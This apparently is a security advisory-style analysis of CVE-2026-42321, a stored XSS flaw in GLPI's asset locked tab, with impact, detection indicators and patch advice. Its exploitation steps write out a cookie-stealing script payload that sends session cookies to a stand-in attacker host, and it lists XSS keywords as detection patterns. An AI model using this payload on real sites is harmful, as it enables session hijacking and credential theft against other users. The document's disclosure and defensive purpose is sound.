CVE-2026-42321: 
GLPI vulnerability analysis and mitigation

CVE-2026-42321 is a stored Cross-Site Scripting (XSS) vulnerability in GLPI, a free open-source asset and IT management software package. A technician-level user can inject and store a malicious XSS payload in the asset locked tab, which then executes in the browsers of other users who view the affected asset. The vulnerability affects GLPI versions 10.0.4 through prior to 10.0.25 (and prior to 11.0.7 for the 11.x branch), and was publicly disclosed on June 3, 2026. It carries a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Feedly).

The root cause is improper neutralization of user-controllable input before it is rendered in web page output (CWE-79) combined with improper encoding or escaping of output (CWE-116). A technician with access to the asset locked tab can submit a crafted payload that is stored server-side without adequate sanitization; when another user navigates to the affected asset view, the stored script executes in their browser context. The attack vector is network-based, requires high privileges (technician role) to inject the payload, and requires active user interaction from a victim to trigger execution (GitHub Advisory).

Successful exploitation allows the injected script to execute in the security context of any user who views the compromised asset locked tab, enabling session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, and potential privilege escalation if an administrator views the page. The impact on the vulnerable system is rated High for confidentiality, integrity, and availability, though subsequent (downstream) system impact is rated None. In an IT management platform like GLPI, which typically holds sensitive asset inventory and configuration data, session hijacking could provide an attacker with broader access to organizational infrastructure information (GitHub Advisory, Feedly).

1. Obtain Technician Access: Acquire a GLPI technician account through legitimate means, social engineering, credential theft, or exploitation of another vulnerability granting technician-level privileges.
2. Navigate to Asset Locked Tab: Log in to the GLPI instance and navigate to an asset record that has a locked tab accessible to technicians.
3. Inject XSS Payload: In the asset locked tab input field, enter a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant, then save the record.
4. Wait for Victim Interaction: The payload is now persisted server-side. When any other authenticated user (including administrators) views the affected asset's locked tab, the malicious script executes automatically in their browser.
5. Harvest Session Data: The script exfiltrates session cookies or other sensitive data to an attacker-controlled server, enabling session hijacking and impersonation of the victim user (GitHub Advisory).

• Logs: GLPI application logs showing unexpected modifications to asset locked tab fields by technician accounts, particularly entries containing HTML tags or JavaScript keywords (<script>, onerror, onload, javascript:).
• Network: Outbound HTTP/HTTPS requests from users' browsers to unfamiliar external domains immediately after accessing GLPI asset pages; unusual GET requests to attacker-controlled URLs containing Base64-encoded or URL-encoded cookie data.
• Application Behavior: Users reporting unexpected redirects or pop-ups when viewing specific asset records in GLPI; session tokens appearing in external server logs not associated with legitimate user activity.
• File System: If the GLPI instance logs user input, review stored asset field values in the database for embedded HTML/JavaScript content in the locked tab fields.

The primary remediation is to upgrade GLPI to version 10.0.25 or 11.0.7, which contain patches for this vulnerability (GitHub Advisory). As interim workarounds, administrators should restrict access to the asset locked tab to only the minimum necessary personnel, implement a Content Security Policy (CSP) header to limit script execution sources, and deploy a Web Application Firewall (WAF) with XSS filtering rules. Input validation and output encoding controls should be reviewed and enforced for all user-supplied data rendered in asset views.

The vulnerability was reported by security researcher yavolo and disclosed via GitHub Security Advisories by GLPI maintainer cedric-anne on June 1, 2026. Coverage has been noted in automated security newsletters and threat intelligence aggregators including Owls Night Catch and CTI Pilot, as well as vulnerability tracking platforms such as VulnDB and Vulners. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory).